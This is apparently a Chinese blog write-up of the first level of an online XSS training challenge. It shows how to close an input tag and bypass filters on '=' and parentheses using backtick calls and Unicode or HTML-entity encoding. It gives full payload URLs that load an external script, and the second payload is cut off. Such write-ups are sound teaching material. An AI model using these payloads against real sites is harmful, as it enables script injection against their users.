XSS修炼之独孤九剑

题目地址

xcao.vip/test

题目作者给出的解题思路

http://xcao.vip/test/xss/XSS修炼之独孤九剑.pdf

独孤九剑-第一式

题目

在这里插入图片描述

过滤了等号 =、小括号 (),要求加载任意 JS 代码。成功加载 http://xcao.vip/xss/alert.js 表示完成挑战

方法一

首先应该思考,在 JavaScript 中,加载 JS 代码,有哪些方式?

首先想到了

<script src="http://xcao.vip/xss/alert.js"></script>

这是最基本的加载方式。

此时我们需要在页面中加载这个 JS 代码,应该想到使用 document.write(),将上面的代码写入 HTML 页面,从而执行 JS 代码。

那么如果要使用这个方法,还得在外面再使用一个 <script> 标签。即:

<script>document.write(<script src="http://xcao.vip/xss/alert.js"></script>)</script>

然后再回到题目中来。

查看 HTML 代码:

<html>
	<head>
		<meta charset="utf-8">
		<title>独孤九剑-第一式  Design by 香草</title>
	</head>
	<body>
		<h2>过滤了 =(),少侠骨骼惊奇,必是练武奇才</h2>
		<h2>要求加载任意JS代码,成功加载http://xcao.vip/xss/alert.js 表示完成挑战</h2>
	<input type="text" value="s">
	</body>
</html>

题目只有一个输入框,并且无法通过输入框提交内容。而同时我们注意到地址栏里有通过 GET 方式提交的参数:
在这里插入图片描述
尝试修改参数,成功修改了输入框中的内容:
在这里插入图片描述
那么 XSS 攻击的点就在这里。

根据页面的源代码,自己构造的 XSS 攻击代码,首先应当将原本的 <input> 标签闭合,即在 123123 后面跟上 ">
在这里插入图片描述
从源代码中可以看到,自己输入的 "> 成功将标签闭合,原本存在的 "> 被孤立了出来:
在这里插入图片描述
此时我们就可以在后面跟上我们自己的 JS 代码进行 XSS 攻击了:

"><script>document.write(<script src="http://xcao.vip/xss/alert.js"></script>)</script>

但是别忘了题目的过滤条件,在这里等号 = 和小括号 () 不起作用。

接下来应当思考怎么绕过。

通过查找资料我们得知,可以用反引号代替小括号实现绕过。要绕过等号 = 的过滤,可以document.write() 中的内容进行 Unicode 编码,即:

"><script>document.write`\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0078\u0063\u0061\u006f\u002e\u0076\u0069\u0070\u002f\u0078\u0073\u0073\u002f\u0061\u006c\u0065\u0072\u0074\u002e\u006a\u0073\u0022\u003e\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e`</script>

提交内容,成功绕过:
在这里插入图片描述
完整 Payload:

http://xcao.vip/test/xss1.php?data=123123"><script>document.write`\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0078\u0063\u0061\u006f\u002e\u0076\u0069\u0070\u002f\u0078\u0073\u0073\u002f\u0061\u006c\u0065\u0072\u0074\u002e\u006a\u0073\u0022\u003e\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e`</script>

方法二

题目作者给出的一种方法:

http://xcao.vip/test/xss1.php?data=%22%3E%3Csvg%3E%3Cscript%3E%26%23x65%3B%26%23x76%3B%26%23x61%3B%26%23x6c%3B%26%23x28%3B%26%23x6c%3B%26%23x6f%3B%26%23x63%3B%26%23x61%3B%26%23x74%3B%26%23x69%3B%26%23x6f%3B%26%23x6e%3B%26%23x2e%3B%26%23x68%3B%26%23x61%3B%26%23x73%3B%26%23x68%3B%26%23x2e%3B%26%23x73%3B%26%23x6c%3B%26%23x69%3B%26%23x63%3B%26%23x65%3B%26%23x28%3B%26%23x31%3B%26%23x29%3B%26%23x29%3B%3C/<
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值